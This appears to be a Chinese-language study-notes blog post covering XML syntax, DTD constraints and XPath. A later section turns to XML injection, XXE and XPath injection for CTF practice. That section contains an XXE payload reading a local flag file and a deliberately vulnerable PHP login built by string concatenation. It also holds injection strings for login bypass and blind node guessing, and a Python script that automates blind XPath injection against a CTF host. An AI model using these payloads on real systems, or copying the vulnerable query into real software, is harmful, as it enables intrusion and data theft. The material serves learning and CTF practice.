XML+Xpath相关学习笔记

XML+Xpath相关学习笔记

Scroll Down

XML

概念

Extensible Markup Language可扩展标记语言
可扩展:标签可扩展
功能:存储数据
1.作为配置文件 2.在网络中传输
与html的区别
1.xml标签自定义,html标签预定义
2.xml语法严格,html语法松散
3.xml存储数据,html展示数据

基本语法

1.后缀名 .xml
2.第一行必须定义为文档声明(甚至不能有空行)
3.文档中有且仅有一个根标签
4.属性值必须使用引号引起
5.标签必须正确关闭,闭合or单标签

组成部分

1.文档声明

<?xml 属性列表 ?>

属性列表:

1)version:版本号,必须的属性
2)encoding:编码方式,和文件格式要统一,idea等高级开发工具可以自己识别
3)standalone:是否独立
    yes:不依赖其他文件
    no:依赖其他文件

2.指令
结合css样式解析xml文件

<?xml-stylesheet type="text/css" href="a.css" ?>

3.标签
规则

可以包含字母、数字以及其他的字符
不能以数字或者标点符号开头
不能以字母xml(XML Xml等)开头
不能包含空格

4.属性
id值唯一
5.文本
CDATA区:该区域中数据原样展示

    <![CDATA[数据]]>

约束

规定xml文档的书写规则

DTD约束

参考:
https://blog.csdn.net/ggGavin/article/details/51532756

document type definition 文档类型定义
可以通过引入DTD文件,约束xml的标签

XML文件种引入DTD文件

内部DTD文档 (将约束规则定义在xml文档中)

<!DOCTYPE 根元素 [定义内容]>

外部DTD文档 (将约束规则定义在外部dtd文件中)
SYSTEM -- 引入的DTD文件是本地的

<!DOCTYPE 根元素 SYSTEM "DTD文件路径"

PUBLIC --引入的DTD来自网络

<!DOCTYPE 根元素 PUBLIC "DTD文件URL"

栗子

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 班级 SYSTEM "xxx.dtd">

基本语法

<!ELEMENT NAME CONTENT>

ELEMENT 关键字
NAME 元素名称
CONTENT 元素类型

(1)EMPTY——表示该元素不能包含子元素和文本,但可以有属性。
(2)ANY——表示该元素可以包含任何在该DTD中定义的元素内容
(3)#PCDATA——可以包含任何字符数据,但是不能在其中包含任何子元素

组合类型

符号用途示例示例说明
()给元素分类(大佬大腿),(菜鸟
|在列出的对象中选择一个(大佬菜鸡)
+该对象必须出现一次或多次(大佬+)大佬必须出现且可以出现多个
*该对象可以出现0次或多次(大佬*)大佬可以出现两次到多次
?该对象必须出现0次或1次(大佬?)大佬可出现/不出现,若出现只能一次
,对象必须按指定的顺序出现(大佬,大腿,菜鸟,菜鸡)必须按顺序同时出现

栗子

<!ELEMENT students (student+)>
<!ELEMENT student (name,age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>

外部文档

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE students SYSTEM "student.dtd">

<students>
    <student num="001">
        <name>A</name>
        <age>18</age>
    </student>
</students>

内部文档

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE students[
        <!ELEMENT students (student+)>
        <!ELEMENT student (name,age)>
        <!ELEMENT name (#PCDATA)>
        <!ELEMENT age (#PCDATA)>
        ]>

<students>
    <student>
        <name>小A</name>
        <age>18</age>
    </student>
</students>

根元素为students,含有student这个子元素,student出现一次或多次
student的子元素为name,age
name下无元素,#PCDATA表示名字可以放任意文本

属性定义

<!ATTLIST 元素名称
    属性名称 类型 属性特点
    ...
>

属性类型

CDATA 表示属性值可以是任何字符(包括中文和数字)
ID 表示属性值必须唯一,但属性值不能以数字开头
IDREF/IDREFS 属性值指向文档中其他地方声明的ID类型的值
Enumerated 属性的值必须在列出的值范围内
ENTITY/ENTITIES 实体

引用实体(定义和引用):

<!ENTITY 实体名称 "实体内容">

&实体名称;

参数实体

<!ENTITY % 实体名称 "实体内容">

%实体名称

属性特点

#REQUIRED 该属性必须给出
#IMPLIED 该属性可给可不给
#FIXED value 该属性必须给一个固定value值
Default value 该属性若没有值就分配一个默认值

栗子们

<!ATTLIST 木偶
    姓名 CDATA #REQUIRED
>
<!ATTLIST person
    性别 (男|女) #REQUIRED
>

schema约束

解析

操作xml:
1.解析(读取):将文档中的数据读到内存中
2.写入:将内存中的数据保存到xml文档中,持久化存储
解析xml:
1.DOM:将标记语言文档一次性加载进内存,在内存中形成DOM树
操作方便、可以对文档进行CRUD操作 -- 占内存
2.SAX:逐行读取,基于事件驱动
不占内存 -- 只能读取,不能增删改

对象

Jsoup:工具类,可以解析html或xml文档,返回Document
Document:文档对象,代表内存中的dom树
Elements:

xml解析器

XML注入

也是利用闭合

USER1USER2

XXE漏洞

利用DTD内部实体引用
一款通用payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "file:///flag">
]>

<user><username>&xxe;</username><password>111</password></user>

&xxe将被SYSTEM "file:///flag"替换执行

外部实体引用

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

CTF实例:
NCTF2019 Fake XML cookbook

XPath

这是一门在XML文档中查找信息的语言
七种类型节点:元素、属性、文本、命名空间、处理指令、注释、文档(根)节点

选取节点
| 表达式 | 描述 |
| --- | --- |
| nodename | 选取此节点的所有子节点 |
| / | 从根节点选取 |
| // | 从匹配选择的当前节点选择文档中的节点 |
| . | 选取当前节点 |
| .. | 选取当前节点的父节点 |
| @ | 选取属性 |

路径表达式结果
students选取student元素的所有子节点
/students选取根元素student(假如路径起始于/,则此路径始终代表到某元素的绝对路径)
students/student选取属于students的子元素的所有student元素
//student选取所有student子元素
students//student选取属于students元素的后代的所有student元素
//@age选取名为lang的所有属性

运算符

| 计算两个节点集
or 或

选取所有age节点

/students/student/age

选取第一个student的age

/students/student[1]/age

选取age节点中的文本
/students/student/age/text()

选取age大于18的student
/students/student[age>18]

XPath注入

参考
https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/

搭建起一个测试页面
user.xml

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id>1</id>
            <username>admin</username>
            <password type="md5">0192023a7bbd73250516f069df18b500</password>
        </user>
        <user>
            <id>2</id>
            <username>jack</username>
            <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
        </user>
        <user>
            <id>3</id>
            <username>tony</username>
            <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
        </user>
    </users>
    <secret>
        <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
    </secret>
</root>

index.php

<?php
$xml = simplexml_load_file('user.xml');
$name = $_GET['u'];
$pwd = md5($_GET['p']); //密码经过md5加密
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
    echo '<h2>Welcome</h2>';
    foreach ($result as $key => $value) {
        echo '<br />ID:'.$value->id;
        echo '<br />Username:'.$value->username;
    }
}

关注查询语句:

"/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"

name和password通过GET方式接收

万能密码
知道用户名

?u=admin' or '1'&p=

未知用户名

?u=' or '1' or '1&p=

得到

QQ截图20200517174509.png
所以利用方法也是合理的构造闭合
节点遍历

?u=admin'] | //* | //*['&p=

得到

/root/users/user[username/text()='admin'] | //* | //*['' and password/text()='d41d8cd98f00b204e9800998ecf8427e']

QQ截图20200517174925.png
有输出的地方为空
盲注猜解节点
判断根节点数量

?u=' or count(/)=1 or '1

获取名字长度

?u=' or string-length(name(/*[1]))=1 or '1

逐个字符获取名字

?u='or substring(name(/*[1]), 1, 1)='a' or '1

?name=1' or substring(name(/*[1]),1,1)='r' or '1'='1&pwd=fake

?u='or substring(name(/root/users/user/*[1]), 1, 1)='u' or '1

逐个猜解出节点

一般也是用脚本
栗题:NPUCTF-ezlogin

import requests
import re

r = requests.session()
lib = "abcdefghijklmnopqrstuvwxyz1234567890"
p = '<input type="hidden" id="token" value="(.*)" />'
headers = {'Content-Type':'application/xml'}
for a in range(1,50):
    for b in lib:
        url = 'http://aca6955d-31aa-482c-9c3a-82b70bf9d9d9.node3.buuoj.cn/'
        token=re.findall(p, r.get(url).text)[0]
        data = "<username>' or substring(name(/*[1]), "+\
               str(a)+", 1)='"+str(b)+"' or '1</username><password>1</password><token>"+token+"</token>"

        result = r.post(url=url+'login.php', headers=headers, data=data).text

        if '非法操作!' in result:
            print(b)
            break